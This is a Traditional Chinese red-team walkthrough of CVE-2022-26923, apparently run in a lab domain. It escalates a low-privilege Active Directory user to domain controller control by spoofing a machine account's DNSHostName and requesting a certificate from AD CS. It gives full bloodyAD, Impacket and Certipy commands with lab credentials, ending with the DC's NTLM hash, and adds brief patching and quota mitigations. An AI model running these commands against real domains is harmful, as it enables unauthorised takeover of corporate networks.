CVE-2022–26923 AD CS 權限提升

前言

CVE-2022–26923 是一個利用 Machine account 具有 DNSHostName 寫入權限的特性進行提權的弱點，在紅隊演練中非常實用。

0x00 AD CS

AD CS(Active Directory Certification Authority) 是 Windows AD 所提供的憑證基礎設施服務 (PKI)，可以用來管理公司內部的各種憑證(使用者/電腦/網站)。

0x01 弱點成因

Machine account 具有 DNSHostName 的寫入權限，Windows 未對此進行唯一值約束，因此我們可以把 DNSHostName 改的跟 DC 一模一樣。

接著，我們可以透過 AD CS 服務請求憑證，而 Machine account 是使用 DNSHostName 作為簽署對象，因此我們可以簽出一張 DC 的憑證。

最後，透過簽出來的憑證向 Kerberos 請求 DC 的服務票 (Service Ticket)，Kerberos 使用簽屬對象作為身分識別，因此將我們誤會成 DC，讓我們獲得控制 DC 的能力。

0x02 實驗環境

1. Domain: kuma.org
2. Domain Controller
   • IP: 192.168.159.128
   • Name: WIN-818G5VCOLJO
3. 低權限 Domain User
   • 帳號: bear
   • 密碼: 1qaz@WSX3edc

0x03 執行條件

1. AD 尚未上 Patch
2. AD 有安裝 CS (Certification Authority) 服務
3. 擁有 Domain User (低權限)
4. Domain User 具有建立 Machine Account 的權限與額度(預設:10)

0x04 獲得 Domain Machine Account

1. 本地主機提權後竊取

使用 Mimikatz 拿到 Machine 的 NTLM，之後進行 Pass the hash

2. 使用 Domain User 建立一個 Machine Account

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u bear -p '1qaz@WSX3edc' --host 192.168.159.128 addComputer FakePC01 'Passw0rd'

方法二: 使用 Impacket

impacket-addcomputer "kuma.org/bear:1qaz@WSX3edc" -method LDAPS -computer-name FakePC02\$ -computer-pass Passw0rd -dc-ip 192.168.159.128

0x05 修改 DNSHostName

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u FakePC01$ -p '1qaz@WSX3edc' --host 192.168.159.128 setAttribute 'CN=FakePC01,CN=Computers,DC=kuma,DC=org' DNSHostName '["WIN-818G5VCOLJO.kuma.org"]' 

方法二: 使用 AD Explorer

Active Directory Explorer 是微軟推出(併購)的 AD 維護工具

1. 使用 FakePC02 登入 AD
   

2. 因為 DNSHostName 與 ServicePrincipalName 有相依，先移除主機的 ServicePrincipalName 屬性
   

3. 接著修改 DNSHostName 屬性
   

0x06 請求證書

使用 Certipy 請求證書

certipy req 'kuma.org/FakePC01$:[email protected]' -ca 'kuma-CA' -template 'Machine'

0x07 取得 DC 的 NTLM

使用 Certipy 取得 DC NTLM

certipy auth -pfx win-818g5vcoljo.pfx -debug -dc-ip 192.168.159.128 

0x08 如何防禦

1. 打上 Patch
2. 將使用者的 ms-DS-MachineAccountQuota 改為 0 (暫時性的)
3. 收回非必要具有寫入 DNS hostname 權限的帳戶

0xFE KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

若 Certipy 在嘗試取得 TGT 時發生 「KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)」，這是因為 KDC 上未啟動 PKInit (Public Key Cryptography for Initial Authentication)

DC 可控

如果我們可以控制 DC (測試環境?)，我們只要在 AD 的群組原則 Computer Configuration -> Administrative Templates (Computers) -> System -> KDC ，將 KDC support for PKInit Freshness Extension 設定為 Enable，即可啟動 PKInit

DC 不可控

可以使用 RBCD (Kerberos Resource-Based Constrained Delegation) 的攻擊手段作為替代。

0xFF 參考

1. Active Directory Domain Privilege Escalation (CVE-2022–26923)
2. bloodyAD and CVE-2022-26923